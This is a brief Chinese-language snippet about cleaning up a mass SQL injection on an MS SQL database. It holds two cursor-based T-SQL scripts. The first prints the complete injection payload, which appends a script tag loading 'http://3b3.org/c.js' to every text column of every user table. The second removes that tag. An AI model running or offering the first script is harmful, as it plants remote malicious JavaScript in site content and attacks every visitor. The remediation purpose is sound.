清除js注入的sql语句

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor
Fetch Next From  Table_Cursor Into @T,@C

While(@@Fetch_Status=0)
Begin
    Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://3b3.org/c.js></script>''')
    Fetch Next From  Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor

消除注入代码的逆操作SQL

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor
Fetch Next From  Table_Cursor Into @T,@C

While(@@Fetch_Status=0)
Begin
    Exec('update ['+@T+'] Set ['+@C+']=replace(['+@C+'],''<script src=http://3b3.org/c.js></script>'','''')')
    Fetch Next From  Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor